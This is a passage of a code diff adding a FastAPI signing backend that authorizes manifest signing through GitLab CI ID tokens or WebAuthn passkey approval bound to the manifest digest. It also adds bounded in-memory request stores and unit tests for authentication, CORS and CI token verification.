+ overall, groups = authz.admin_groups(data["user"], _resolved_policy(data["token"])) + return {"user": data["user"], "overall_admin": overall, "admin_groups": groups} + + +_MAX_BODY = 32 * 1024 * 1024 # 32 MiB cap on a submitted manifest +_APPROVE_MAX = 256 * 1024 # a request_id + WebAuthn assertion is small +# The CLI store retains the manifest until approval and is reachable +# unauthenticated, so cap it hard (manifests are KiB/low-MiB JSON) — bounds +# memory. A per-IP rate limit at the reverse proxy is the belt-and-suspenders. +_CLI_MANIFEST_MAX = 4 * 1024 * 1024 + + +def _groups_of(manifest) -> list: + """The set of package groups in a common manifest (untagged/malformed entries + -> 'common', so authz never crashes and stays fail-closed).""" + pkgs = manifest.get("packages") + if not isinstance(pkgs, list): + pkgs = [] + groups = set() + for p in pkgs: + g = p.get("group") if isinstance(p, dict) else None + groups.add(g if isinstance(g, str) and g else "common") + return sorted(groups) or ["common"] + + +async def _authorize_sign(request: Request, groups): + """Resolve the signing principal and the groups it is NOT allowed to sign. + + A JWT-shaped bearer is tried as a GitLab CI ID token (verified against GitLab's + JWKS) and authorized by its project against the CI-signer policy. Any other + bearer is treated as a human's GitLab token (verified via GET /user) and + authorized by the community-admin policy. Returns ``(signer, principal_fields, + denied_groups)``; raises 401 for a bad/absent principal. + """ + auth = request.headers.get("authorization", "") + token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else "" + if token and token.count(".") == 2: # JWT-shaped -> the CI ID-token path + try: + claims = await run_in_threadpool(ci_auth.verify_ci_token, token, settings) + except Exception: + claims = None + if claims is not None: + project = str(claims.get("project_path") or "") + pol = ci_auth.load_ci_signers(settings) + denied = [g for g in groups if not ci_auth.is_ci_authorized(project, g, pol)] + return ("ci:%s" % project, + {"principal": "ci", "project": project, "ref": claims.get("ref")}, + denied) + data = await _current_async(request) # human: the bearer is the user's GitLab token + if not data: + raise HTTPException(401, "not authenticated") + user = data["user"] + resolved = _resolved_policy(data["token"]) + denied = [g for g in groups if not authz.is_admin_for(user, g, resolved)] + return user, {"principal": "human"}, denied + + +def _proxy_token_or_503(): + if not settings.sign_proxy_configured(): + raise HTTPException(503, "signing proxy is not configured") + token = os.environ.get(settings.sign_proxy_token_env) + if not token: + raise HTTPException(503, "signing proxy token is not available") + return token + + +async def _read_capped(request: Request, maxb: int) -> bytes: + cl = request.headers.get("content-length") + if cl and cl.isdigit() and int(cl) > maxb: + raise HTTPException(413, "request too large") + body = await request.body() + if len(body) > maxb: + raise HTTPException(413, "request too large") + return body + + +def _parse_manifest(body: bytes) -> list: + try: + manifest = json.loads(body) + if not isinstance(manifest, dict): + raise ValueError + except (ValueError, RecursionError): + raise HTTPException(400, "request body is not a JSON manifest") + return _groups_of(manifest) + + +async def _do_sign(body, groups, signer, principal, proxy_token): + """Key-policy check + sign the EXACT bytes via the proxy + audit. Assumes + authorization (and, on the approval path, the WebAuthn assertion) passed.""" + try: + kid, _pub = await run_in_threadpool( + trust.proxy_pubkey, settings.sign_proxy_url, proxy_token) + except RuntimeError as exc: + raise HTTPException(502, "signing proxy pubkey failed: %s" % exc) + policy = trust.load_key_policy() + if policy is not None: + badk = [g for g in groups if not trust.key_authorized(kid, g, policy)] + if badk: + audit.record("sign_denied", signer=signer, groups=groups, + reason="key_not_authorized", key_id=kid, denied=badk, + **principal) + raise HTTPException(403, "signing key %s is not authorized for: %s" + % (kid, ", ".join(badk))) + try: + envelope = await run_in_threadpool( + trust.sign_bytes_via_proxy, body, settings.sign_proxy_url, proxy_token) + except RuntimeError as exc: + raise HTTPException(502, "signing failed: %s" % exc) + digest = hashlib.sha256(body).hexdigest() + audit.record("sign", signer=signer, groups=groups, digest=digest, + key_id=envelope["key_id"], **principal) + return {"envelope": envelope, "groups": groups, "signed_by": signer, "digest": digest} + + +@app.post("/sign") +async def sign(request: Request): + """Single-shot sign: CI (Bearer ID token), or a human when WebAuthn is not in + force. If WebAuthn is configured and the human has an enrolled passkey, they + must use the digest-bound /sign/request + /sign/approve flow instead.""" + proxy_token = _proxy_token_or_503() + body = await _read_capped(request, _MAX_BODY) + groups = _parse_manifest(body) + signer, principal, denied = await _authorize_sign(request, groups) + if denied: + audit.record("sign_denied", signer=signer, groups=groups, denied=denied, + **principal) + raise HTTPException(403, "%s is not authorized to sign: %s" + % (signer, ", ".join(denied))) + if (principal.get("principal") == "human" and settings.webauthn_configured() + and (settings.webauthn_required or credstore.get(signer))): + raise HTTPException(409, "WebAuthn approval required; use /sign/request " + "then /sign/approve") + return await _do_sign(body, groups, signer, principal, proxy_token) + + +@app.post("/sign/request") +async def sign_request(request: Request): + """Human approval, step 1: authorize and return a WebAuthn challenge that IS + the manifest digest (content binding). The manifest is held server-side so + approval signs exactly these bytes.""" + data = await _current_async(request) + if not data: + raise HTTPException(401, "not authenticated") + if not settings.webauthn_configured(): + raise HTTPException(503, "WebAuthn is not configured") + body = await _read_capped(request, _MAX_BODY) + groups = _parse_manifest(body) + user = data["user"] + resolved = _resolved_policy(data["token"]) + denied = [g for g in groups if not authz.is_admin_for(user, g, resolved)] + if denied: + audit.record("sign_denied", signer=user, groups=groups, denied=denied, + principal="human") + raise HTTPException(403, "%s is not a community admin for: %s" + % (user, ", ".join(denied))) + creds = credstore.get(user) + if not creds: + raise HTTPException(400, "no passkey enrolled; POST /webauthn/register/begin first") + # Store only the digest + metadata (not the manifest) so the pending store + # can't be flooded with large bodies; the manifest is re-submitted at approve + # and checked against this digest. + digest = hashlib.sha256(body).digest() + req_id = secrets.token_urlsafe(24) + sign_requests.put(req_id, {"digest": digest, "groups": groups, "user": user}) + options = json.loads(webauthn_rp.authentication_options(settings, digest, creds)) + return {"request_id": req_id, "publicKey": options} + + +@app.post("/sign/approve") +async def sign_approve(request: Request): + """Human approval, step 2: re-submit the manifest with the digest-bound + WebAuthn assertion. The manifest must hash to the approved digest AND the + assertion must verify over it; then persist the sign counter and sign.""" + data = await _current_async(request) + if not data: + raise HTTPException(401, "not authenticated") + proxy_token = _proxy_token_or_503() + raw = await _read_capped(request, 2 * _MAX_BODY) # base64 manifest + assertion + try: + payload = json.loads(raw) + req_id = payload["request_id"] + assertion = payload["assertion"] + body = base64.b64decode(payload["manifest"], validate=True) + except (ValueError, KeyError, TypeError): + raise HTTPException(400, "expected {request_id, assertion, manifest(base64)}") + if len(body) > _MAX_BODY: + raise HTTPException(413, "manifest too large") + + req = sign_requests.pop(req_id) # atomic single-use claim (double-sign race) + if not req or req["user"] != data["user"]: + raise HTTPException(400, "unknown or expired sign request") + # Content binding: the re-submitted manifest must hash to the approved digest. + if hashlib.sha256(body).digest() != req["digest"]: + raise HTTPException(400, "manifest does not match the approved request") + # Re-check community-admin now (close the revoke-within-window gap). + resolved = _resolved_policy(data["token"]) + denied = [g for g in req["groups"] if not authz.is_admin_for(data["user"], g, resolved)] + if denied: + audit.record("sign_denied", signer=data["user"], groups=req["groups"], + denied=denied, principal="human") + raise HTTPException(403, "%s is not a community admin for: %s" + % (data["user"], ", ".join(denied))) + cred_id = (assertion.get("rawId") or assertion.get("id") + if isinstance(assertion, dict) else None) + cred = next((c for c in credstore.get(req["user"]) if c["id"] == cred_id), None) + if not cred: + raise HTTPException(400, "unknown credential") + try: + new_count = await run_in_threadpool( + webauthn_rp.verify_authentication, settings, json.dumps(assertion), + req["digest"], cred) + except Exception: + audit.record("sign_denied", signer=req["user"], groups=req["groups"], + reason="approval_failed", principal="human") + raise HTTPException(403, "approval verification failed") + credstore.update_sign_count(req["user"], cred_id, new_count) # clone detection + return await _do_sign(body, req["groups"], req["user"], + {"principal": "human", "approval": "webauthn"}, proxy_token) + + +@app.post("/sign/cli/request") +async def cli_request(request: Request): + """CLI, step 1: submit a manifest to be approved in the browser. Unauthenticated + (the human approval is the authorization); bounded/expiring store limits abuse.""" + if not settings.webauthn_configured(): + raise HTTPException(503, "WebAuthn is not configured") + body = await _read_capped(request, _CLI_MANIFEST_MAX) + groups = _parse_manifest(body) + digest = hashlib.sha256(body).digest() + req_id = secrets.token_urlsafe(24) + cli_signs.put(req_id, {"digest": digest, "groups": groups, "manifest": body, + "status": "pending", "envelope": None, "signed_by": None}) + approve_url = (settings.rp_origin or "").rstrip("/") + "/?approve=" + req_id + return {"request_id": req_id, "approve_url": approve_url, + "digest": digest.hex(), "groups": groups} + + +@app.get("/sign/cli/{req_id}") +def cli_pending(req_id: str, request: Request): + """Browser approver: review a pending CLI request and get the WebAuthn + challenge (== the digest). Requires community-admin of the request's groups.""" + data = _current(request) + if not data: + raise HTTPException(401, "not authenticated") + req = cli_signs.get(req_id) + if not req: + raise HTTPException(404, "no such request") + if req["status"] != "pending": + return {"status": req["status"], "groups": req["groups"]} + user = data["user"] + resolved = _resolved_policy(data["token"]) + denied = [g for g in req["groups"] if not authz.is_admin_for(user, g, resolved)] + if denied: + raise HTTPException(403, "%s is not a community admin for: %s" + % (user, ", ".join(denied))) + creds = credstore.get(user) + if not creds: + raise HTTPException(400, "no passkey enrolled; enrol first") + options = json.loads(webauthn_rp.authentication_options(settings, req["digest"], creds)) + return {"status": "pending", "groups": req["groups"], "digest": req["digest"].hex(), + "manifest": req["manifest"].decode("utf-8", "replace"), "publicKey": options} + + +@app.post("/sign/cli/{req_id}/approve") +async def cli_approve(req_id: str, request: Request): + """Browser approver: verify the digest-bound assertion and sign the stored + manifest, storing the result for the CLI to poll.""" + data = await _current_async(request) + if not data: + raise HTTPException(401, "not authenticated") + proxy_token = _proxy_token_or_503() + raw = await _read_capped(request, _APPROVE_MAX) + try: + assertion = json.loads(raw)["assertion"] + except (ValueError, KeyError, TypeError): + raise HTTPException(400, "expected {assertion}") + req = cli_signs.get(req_id) + if not req or req["status"] != "pending": + raise HTTPException(400, "unknown or already-handled request") + user = data["user"] + resolved = _resolved_policy(data["token"]) + denied = [g for g in req["groups"] if not authz.is_admin_for(user, g, resolved)] + if denied: + raise HTTPException(403, "%s is not a community admin for: %s" + % (user, ", ".join(denied))) + cred_id = (assertion.get("rawId") or assertion.get("id") + if isinstance(assertion, dict) else None) + cred = next((c for c in credstore.get(user) if c["id"] == cred_id), None) + if not cred: + raise HTTPException(400, "unknown credential") + req["status"] = "signing" # claim before await so it can't be double-approved + try: + new_count = await run_in_threadpool( + webauthn_rp.verify_authentication, settings, json.dumps(assertion), + req["digest"], cred) + except Exception: + req["status"] = "pending" + audit.record("sign_denied", signer=user, groups=req["groups"], + reason="approval_failed", principal="human", via="cli") + raise HTTPException(403, "approval verification failed") + credstore.update_sign_count(user, cred_id, new_count) + try: + result = await _do_sign( + req["manifest"], req["groups"], user, + {"principal": "human", "approval": "webauthn", "via": "cli"}, proxy_token) + except BaseException: # any failure leaves it retryable, not stuck "signing" + req["status"] = "pending" + raise + req["status"] = "signed" + req["envelope"] = result["envelope"] + req["signed_by"] = user + return {"status": "signed"} + + +@app.get("/sign/cli/{req_id}/result") +def cli_result(req_id: str): + """CLI, step 2: poll for the signature. The signature is public, so this is + unauthenticated (the request id is a 192-bit secret).""" + req = cli_signs.get(req_id) + if not req: + raise HTTPException(404, "no such request") + if req["status"] == "signed": + return {"status": "signed", "envelope": req["envelope"], + "signed_by": req["signed_by"], "groups": req["groups"]} + return {"status": req["status"]} + + +@app.post("/webauthn/grant") +async def webauthn_grant(request: Request): + """A bits-admin grants a user permission to enrol their FIRST passkey.""" + data = await _current_async(request) + if not data: + raise HTTPException(401, "not authenticated") + if not settings.webauthn_configured(): + raise HTTPException(503, "WebAuthn is not configured") + overall, _ = authz.admin_groups(data["user"], _resolved_policy(data["token"])) + if not overall: + raise HTTPException(403, "only a bits admin may grant enrolment") + raw = await _read_capped(request, 65536) + try: + target = json.loads(raw)["user"] + if not isinstance(target, str) or not target: + raise ValueError + except (ValueError, KeyError, TypeError): + raise HTTPException(400, "expected {user}") + enroll_grants.put(target) + audit.record("enroll_grant", granted_by=data["user"], user=target) + return {"status": "granted", "user": target} + + +@app.post("/webauthn/register/begin") +def webauthn_register_begin(request: Request): + """Start passkey enrolment. A first passkey needs a bits-admin grant (checked + at finish); adding another needs step-up with an existing passkey (challenged + here). The in-flight challenge is held server-side keyed by user (auth is + stateless).""" + data = _current(request) + if not data: + raise HTTPException(401, "not authenticated") + if not settings.webauthn_configured(): + raise HTTPException(503, "WebAuthn is not configured") + user = data["user"] + existing = credstore.get(user) + options_json, challenge = webauthn_rp.registration_options(settings, user, existing) + entry = {"reg_challenge": bytes_to_base64url(challenge), "stepup_challenge": None} + resp = {"publicKey": json.loads(options_json)} + if existing and settings.enrollment_authority: + stepup = secrets.token_bytes(32) + entry["stepup_challenge"] = bytes_to_base64url(stepup) + resp["stepup"] = json.loads( + webauthn_rp.authentication_options(settings, stepup, existing)) + reg_challenges.put(user, entry) + return resp + + +@app.post("/webauthn/register/finish") +async def webauthn_register_finish(request: Request): + data = await _current_async(request) + if not data: + raise HTTPException(401, "not authenticated") + user = data["user"] + pending = reg_challenges.pop(user) # single-use + challenge = pending.get("reg_challenge") if pending else None + stepup_challenge = pending.get("stepup_challenge") if pending else None + if not challenge: + raise HTTPException(400, "no registration in progress") + body = await _read_capped(request, 65536) + try: + payload = json.loads(body) + attestation = payload["attestation"] + except (ValueError, KeyError, TypeError): + raise HTTPException(400, "expected {attestation, [stepup]}") + + existing = credstore.get(user) + if settings.enrollment_authority: + if existing: + # Adding another passkey: prove control of an existing one (step-up). + su = payload.get("stepup") + if not stepup_challenge or not isinstance(su, dict): + raise HTTPException(403, "step-up with an existing passkey required") + su_id = su.get("rawId") or su.get("id") + su_cred = next((c for c in existing if c["id"] == su_id), None) + if not su_cred: + raise HTTPException(400, "unknown step-up credential") + try: + su_count = await run_in_threadpool( + webauthn_rp.verify_authentication, settings, json.dumps(su), + base64url_to_bytes(stepup_challenge), su_cred) + except Exception: + raise HTTPException(403, "step-up verification failed") + credstore.update_sign_count(user, su_cred["id"], su_count) # clone detection + elif not enroll_grants.take(user): + # First passkey: requires a one-time bits-admin grant. + raise HTTPException(403, "first enrolment requires a bits-admin grant") + + try: + cred = webauthn_rp.verify_registration( + settings, json.dumps(attestation), base64url_to_bytes(challenge)) + except Exception: + raise HTTPException(400, "registration verification failed") + credstore.add(user, cred) + audit.record("enroll", user=user, credential_id=cred["id"], + authority=("stepup" if existing else "grant")) + return {"status": "enrolled", "credential_id": cred["id"]} + + diff --git a/console-backend/console_backend/session.py b/console-backend/console_backend/session.py new file mode 100644 index 00000000..94d03c5a --- /dev/null +++ b/console-backend/console_backend/session.py @@ -0,0 +1,128 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""In-memory, bounded stores for the backend's short-lived server-side state: +pending sign requests, cross-device CLI requests, enrolment grants, and in-flight +passkey-enrolment challenges. Each is bounded (expiry sweep + oldest-eviction past +a cap) so unauthenticated traffic cannot grow it without limit. Single-process +only — a multi-instance deployment needs a shared store. +""" + +import time + + +class _BoundedStore: + def __init__(self, ttl_seconds, max_entries): + self._store = {} # dict preserves insertion order (oldest first) + self._ttl = ttl_seconds + self._max = max_entries + + def _sweep(self): + now = time.time() + for k in [k for k, exp in self._exps() if exp < now]: + self._store.pop(k, None) + + def _exps(self): + raise NotImplementedError + + def _make_room(self): + if len(self._store) >= self._max: + self._sweep() + while len(self._store) >= self._max: # still full: drop the oldest + self._store.pop(next(iter(self._store)), None) + + +class SignRequestStore(_BoundedStore): + """Pending sign requests between /sign/request and /sign/approve. Holds the + manifest bytes + digest so approval signs exactly what was authorized.""" + + def __init__(self, ttl_seconds=300, max_entries=10000): + super().__init__(ttl_seconds, max_entries) + + def _exps(self): + return [(k, e["exp"]) for k, e in self._store.items()] + + def put(self, req_id, data): + self._make_room() + data = dict(data) + data["exp"] = time.time() + self._ttl + self._store[req_id] = data + + def pop(self, req_id): + """Atomically claim (remove + return) a pending request. Single-process + + no await inside, so this is atomic against the event loop — two concurrent + approvals cannot both claim the same request.""" + entry = self._store.pop(req_id, None) + if not entry: + return None + return entry if entry["exp"] >= time.time() else None + + +class CliSignStore(_BoundedStore): + """Cross-device (CLI-initiated) sign requests: a terminal creates one, a human + approves it in the browser, the CLI polls the result. Entries are mutable + (status/envelope updated in place).""" + + def __init__(self, ttl_seconds=600, max_entries=64): + super().__init__(ttl_seconds, max_entries) + + def _exps(self): + return [(k, e["exp"]) for k, e in self._store.items()] + + def put(self, req_id, data): + self._make_room() + data = dict(data) + data["exp"] = time.time() + self._ttl + self._store[req_id] = data + + def get(self, req_id): + entry = self._store.get(req_id) + if not entry: + return None + if entry["exp"] < time.time(): + self._store.pop(req_id, None) + return None + return entry + + +class EnrollmentGrantStore(_BoundedStore): + """One-time, short-lived grants that let a user enrol their FIRST passkey. + Issued by a bits-admin; consumed on enrolment. Keyed by target username.""" + + def __init__(self, ttl_seconds=600, max_entries=10000): + super().__init__(ttl_seconds, max_entries) + + def _exps(self): + return list(self._store.items()) + + def put(self, user): + self._make_room() + self._store[user] = time.time() + self._ttl + + def take(self, user) -> bool: + exp = self._store.pop(user, None) + return exp is not None and exp >= time.time() + + +class RegChallengeStore(_BoundedStore): + """In-flight passkey-enrolment challenges between /webauthn/register/begin and + /finish, keyed by username. Auth is stateless (no server session), so the + ceremony's challenge is held here instead of on a session. Short-lived and + single-use (popped at finish).""" + + def __init__(self, ttl_seconds=300, max_entries=10000): + super().__init__(ttl_seconds, max_entries) + + def _exps(self): + return [(k, e["exp"]) for k, e in self._store.items()] + + def put(self, user, data): + self._make_room() + data = dict(data) + data["exp"] = time.time() + self._ttl + self._store[user] = data + + def pop(self, user): + entry = self._store.pop(user, None) + if not entry: + return None + return entry if entry["exp"] >= time.time() else None diff --git a/console-backend/console_backend/static/index.html b/console-backend/console_backend/static/index.html new file mode 100644 index 00000000..72d72f64 --- /dev/null +++ b/console-backend/console_backend/static/index.html @@ -0,0 +1,241 @@ + + + + + + +bits-console — signing + + + +

bits-console — manifest signing

+ +
+
+ Checking session… + + + + +
+
+ + + + + + + + + +

Log

+
+ + + + diff --git a/console-backend/console_backend/webauthn_rp.py b/console-backend/console_backend/webauthn_rp.py new file mode 100644 index 00000000..ab31ab88 --- /dev/null +++ b/console-backend/console_backend/webauthn_rp.py @@ -0,0 +1,65 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""WebAuthn relying-party helpers (py_webauthn). + +Registration enrols a passkey for a GitLab user. Authentication is the +per-operation approval: the challenge IS the manifest digest, so a valid +assertion proves a human on an enrolled device approved *these exact bytes*. +""" + +from webauthn import (generate_authentication_options, generate_registration_options, + options_to_json, verify_authentication_response, + verify_registration_response) +from webauthn.helpers import base64url_to_bytes, bytes_to_base64url +from webauthn.helpers.structs import (AuthenticatorSelectionCriteria, + PublicKeyCredentialDescriptor, + UserVerificationRequirement) + + +def _descriptors(creds): + return [PublicKeyCredentialDescriptor(id=base64url_to_bytes(c["id"])) for c in creds] + + +def registration_options(settings, user, existing): + """Return ``(options_json, challenge_bytes)`` for navigator.credentials.create.""" + uv = (UserVerificationRequirement.REQUIRED if settings.webauthn_require_uv + else UserVerificationRequirement.PREFERRED) + opts = generate_registration_options( + rp_id=settings.rp_id, rp_name=settings.rp_name, + user_name=user, user_id=user.encode("utf-8"), + authenticator_selection=AuthenticatorSelectionCriteria(user_verification=uv), + exclude_credentials=_descriptors(existing)) + return options_to_json(opts), opts.challenge + + +def verify_registration(settings, credential_json, expected_challenge): + """Verify an attestation and return a storable credential dict.""" + v = verify_registration_response( + credential=credential_json, expected_challenge=expected_challenge, + expected_rp_id=settings.rp_id, expected_origin=settings.rp_origin, + require_user_verification=settings.webauthn_require_uv) + return {"id": bytes_to_base64url(v.credential_id), + "public_key": bytes_to_base64url(v.credential_public_key), + "sign_count": v.sign_count} + + +def authentication_options(settings, challenge, user_creds): + """Return options JSON for navigator.credentials.get; *challenge* is the + manifest digest bytes (content binding).""" + opts = generate_authentication_options( + rp_id=settings.rp_id, challenge=challenge, + allow_credentials=_descriptors(user_creds), + user_verification=UserVerificationRequirement.PREFERRED) + return options_to_json(opts) + + +def verify_authentication(settings, credential_json, expected_challenge, cred): + """Verify an assertion over *expected_challenge* (the digest); return the new + sign counter. Raises on any mismatch.""" + v = verify_authentication_response( + credential=credential_json, expected_challenge=expected_challenge, + expected_rp_id=settings.rp_id, expected_origin=settings.rp_origin, + credential_public_key=base64url_to_bytes(cred["public_key"]), + credential_current_sign_count=cred["sign_count"], + require_user_verification=settings.webauthn_require_uv) + return v.new_sign_count diff --git a/console-backend/pyproject.toml b/console-backend/pyproject.toml new file mode 100644 index 00000000..a9b8ff11 --- /dev/null +++ b/console-backend/pyproject.toml @@ -0,0 +1,22 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +[build-system] +requires = ["setuptools>=61"] +build-backend = "setuptools.build_meta" + +[project] +name = "bits-console-backend" +version = "0.1.0" +description = "bits-console backend — relying party and the security-proxy's only client" +requires-python = ">=3.10" +dependencies = [ + "fastapi==0.138.0", + "uvicorn==0.49.0", + "httpx==0.28.1", + "pyjwt[crypto]==2.10.1", + "webauthn==2.5.2", +] +# bits_helpers is provided by the surrounding bits repo (on PYTHONPATH / copied +# alongside in the image), not a PyPI dependency. + +[tool.setuptools] +packages = ["console_backend"] diff --git a/console-backend/tests/test_auth.py b/console-backend/tests/test_auth.py new file mode 100644 index 00000000..e0e45ed0 --- /dev/null +++ b/console-backend/tests/test_auth.py @@ -0,0 +1,94 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Auth tests: the backend identifies a caller from the GitLab bearer token the +bits-console SPA already holds (no server-side OAuth/session), and CORS allows the +configured Pages frontend origin. +""" + +import unittest + +from fastapi.testclient import TestClient + +from console_backend import config, main + +FRONT = "https://bits-console.web.cern.ch" + + +def _configure(identity_ok=True): + main.settings = config.Settings(env={ + "GITLAB_API_URL": "https://gitlab.example/api/v4", + "BITS_ADMINS_POLICY": "* @root\nlcg @alice", + "BITS_FRONTEND_ORIGIN": FRONT, + }) + # Test double: the bearer token IS the username (no GitLab round-trip). When + # identity_ok is False, every token is rejected (simulates an invalid token). + main.identity.verify_gitlab_token = ( + (lambda api, tok, *a, **k: tok or None) if identity_ok + else (lambda api, tok, *a, **k: None)) + + +class TestBearerAuth(unittest.TestCase): + def setUp(self): + _configure() + self.client = TestClient(main.app, follow_redirects=False) + + def _bearer(self, user): + return {"Authorization": "Bearer %s" % user} + + def test_me_requires_a_bearer(self): + self.assertEqual(self.client.get("/me").status_code, 401) + + def test_me_with_valid_bearer(self): + r = self.client.get("/me", headers=self._bearer("alice")) + self.assertEqual(r.status_code, 200) + body = r.json() + self.assertEqual(body["user"], "alice") + self.assertEqual(body["admin_groups"], ["lcg"]) + self.assertFalse(body["overall_admin"]) + + def test_me_overall_admin(self): + r = self.client.get("/me", headers=self._bearer("root")) + self.assertTrue(r.json()["overall_admin"]) + + def test_invalid_token_is_401(self): + _configure(identity_ok=False) + self.assertEqual( + self.client.get("/me", headers=self._bearer("whoever")).status_code, 401) + + def test_malformed_authorization_header_401(self): + self.assertEqual( + self.client.get("/me", headers={"Authorization": "Basic x"}).status_code, 401) + + def test_no_access_token_stored_or_returned(self): + # /me must not echo the bearer back to the caller anywhere. + r = self.client.get("/me", headers=self._bearer("alice")) + self.assertNotIn("Authorization", r.text) + + +class TestCORS(unittest.TestCase): + def setUp(self): + _configure() + self.client = TestClient(main.app, follow_redirects=False) + + def test_preflight_from_frontend_is_allowed(self): + r = self.client.options("/sign/request", headers={ + "Origin": FRONT, + "Access-Control-Request-Method": "POST", + "Access-Control-Request-Headers": "authorization"}) + self.assertEqual(r.status_code, 204) + self.assertEqual(r.headers.get("access-control-allow-origin"), FRONT) + self.assertIn("Authorization", r.headers.get("access-control-allow-headers", "")) + + def test_response_carries_allow_origin_for_frontend(self): + r = self.client.get("/me", headers={ + "Origin": FRONT, "Authorization": "Bearer alice"}) + self.assertEqual(r.headers.get("access-control-allow-origin"), FRONT) + + def test_other_origin_gets_no_allow_header(self): + r = self.client.get("/me", headers={ + "Origin": "https://evil.example", "Authorization": "Bearer alice"}) + self.assertIsNone(r.headers.get("access-control-allow-origin")) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_authz.py b/console-backend/tests/test_authz.py new file mode 100644 index 00000000..c7ec3aa4 --- /dev/null +++ b/console-backend/tests/test_authz.py @@ -0,0 +1,61 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""B2b tests: community-admin resolution, /me roles, and the signing gate.""" + +import unittest + +from fastapi.testclient import TestClient + +from console_backend import authz, config, main + + +def _configure(policy_text): + main.settings = config.Settings(env={ + "GITLAB_API_URL": "https://gitlab.example/api/v4", + "BITS_ADMINS_POLICY": policy_text, + }) + main.identity.verify_gitlab_token = lambda a, t, *x, **k: t or None + + +class TestAuthzUnit(unittest.TestCase): + def test_literal_policy_no_network(self): + s = config.Settings(env={"BITS_ADMINS_POLICY": "* @root\nlcg @alice\ncommon @bob"}) + pol = authz.resolve_policy(authz.load_policy(s), s, None) # no &refs + self.assertTrue(authz.is_admin_for("alice", "lcg", pol)) + self.assertFalse(authz.is_admin_for("alice", "common", pol)) + self.assertTrue(authz.is_admin_for("root", "anything", pol)) # overall + overall, groups = authz.admin_groups("alice", pol) + self.assertFalse(overall) + self.assertEqual(groups, ["lcg"]) + self.assertTrue(authz.admin_groups("root", pol)[0]) # overall + + def test_case_insensitive(self): + s = config.Settings(env={"BITS_ADMINS_POLICY": "lcg @Alice"}) + pol = authz.resolve_policy(authz.load_policy(s), s, None) + self.assertTrue(authz.is_admin_for("alice", "lcg", pol)) + + +class TestMeRoles(unittest.TestCase): + def setUp(self): + _configure("* @root\nlcg @alice\ncommon @bob") + self.client = TestClient(main.app, follow_redirects=False) + + def _bearer(self, user): + return {"Authorization": "Bearer %s" % user} + + def test_me_reports_admin_groups(self): + body = self.client.get("/me", headers=self._bearer("alice")).json() + self.assertEqual(body["user"], "alice") + self.assertFalse(body["overall_admin"]) + self.assertEqual(body["admin_groups"], ["lcg"]) + + def test_me_overall_admin(self): + self.assertTrue( + self.client.get("/me", headers=self._bearer("root")).json()["overall_admin"]) + + def test_me_without_bearer_401(self): + self.assertEqual(self.client.get("/me").status_code, 401) + + +if __name__ == "__main__": + unittest.main() diff --git a/console-backend/tests/test_ci.py b/console-backend/tests/test_ci.py new file mode 100644 index 00000000..5608530e --- /dev/null +++ b/console-backend/tests/test_ci.py @@ -0,0 +1,164 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""B4 tests: GitLab CI ID token verification + CI-authorized signing. + +A real RSA-signed JWT is verified against the test public key (JWKS fetch is +bypassed by passing the key), so signature/issuer/audience/expiry are exercised +for real; the sign path is tested with the proxy faked. +""" + +import json +import os +import time +import unittest +from unittest.mock import patch + +import jwt +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey +from fastapi.testclient import TestClient + +from console_backend import ci_auth, config, main +from bits_helpers import trust + +_ISS = "https://gitlab.example" +_AUD = "bits-console" + + +def _settings(ci_signers="proj/manifests *"): + return config.Settings(env={ + "BITS_SIGN_PROXY_URL": "http://proxy/sign/bits", + "BITS_OIDC_ISSUER": _ISS, + "BITS_OIDC_CI_AUDIENCE": _AUD, + "BITS_OIDC_JWKS_URL": "http://unused-in-tests", + "BITS_CI_SIGNERS": ci_signers, + "BITS_SESSION_COOKIE_SECURE": "0", + }) + + +def _rsa(): + return rsa.generate_private_key(public_exponent=65537, key_size=2048) + + +def _token(priv, *, iss=_ISS, aud=_AUD, project="proj/manifests", ref="main", + exp_delta=300): + now = int(time.time()) + claims = {"iss": iss, "aud": aud, "sub": "job_1", "iat": now, + "exp": now + exp_delta, "project_path": project, "ref": ref} + return jwt.encode(claims, priv, algorithm="RS256") + + +class TestCIPolicy(unittest.TestCase): + def test_authorized_and_denied(self): + s = config.Settings(env={"BITS_CI_SIGNERS": "proj/a *\nproj/b lcg common"}) + pol = ci_auth.load_ci_signers(s) + self.assertTrue(ci_auth.is_ci_authorized("proj/a", "anything", pol)) + self.assertTrue(ci_auth.is_ci_authorized("proj/b", "lcg", pol)) + self.assertFalse(ci_auth.is_ci_authorized("proj/b", "ship", pol)) + self.assertFalse(ci_auth.is_ci_authorized("proj/unknown", "lcg", pol)) + + +class TestVerify(unittest.TestCase): + def setUp(self): + self.priv = _rsa() + self.pub = self.priv.public_key() + self.s = _settings() + + def test_valid_token(self): + claims = ci_auth.verify_ci_token(_token(self.priv), self.s, signing_key=self.pub) + self.assertEqual(claims["project_path"], "proj/manifests") + + def test_wrong_audience_rejected(self): + with self.assertRaises(Exception): + ci_auth.verify_ci_token(_token(self.priv, aud="someone-else"), self.s, + signing_key=self.pub) + + def test_wrong_issuer_rejected(self): + with self.assertRaises(Exception): + ci_auth.verify_ci_token(_token(self.priv, iss="https://evil"), self.s, + signing_key=self.pub) + + def test_expired_rejected(self): + with self.assertRaises(Exception): + ci_auth.verify_ci_token(_token(self.priv, exp_delta=-10), self.s, + signing_key=self.pub) + + def test_wrong_key_rejected(self): + with self.assertRaises(Exception): + ci_auth.verify_ci_token(_token(self.priv), self.s, + signing_key=_rsa().public_key()) + + +class TestCISign(unittest.TestCase): + def setUp(self): + main.settings = _settings("proj/manifests lcg") # may sign lcg only + # A non-CI bearer would fall through to the human path; reject it fast so + # these CI tests never make a real GitLab /user call. + main.identity.verify_gitlab_token = lambda a, t, *x, **k: None + self.client = TestClient(main.app, follow_redirects=False) + self.sign_key = Ed25519PrivateKey.generate() + os.environ["BITS_SIGN_PROXY_TOKEN"] = "gate" + + def tearDown(self): + 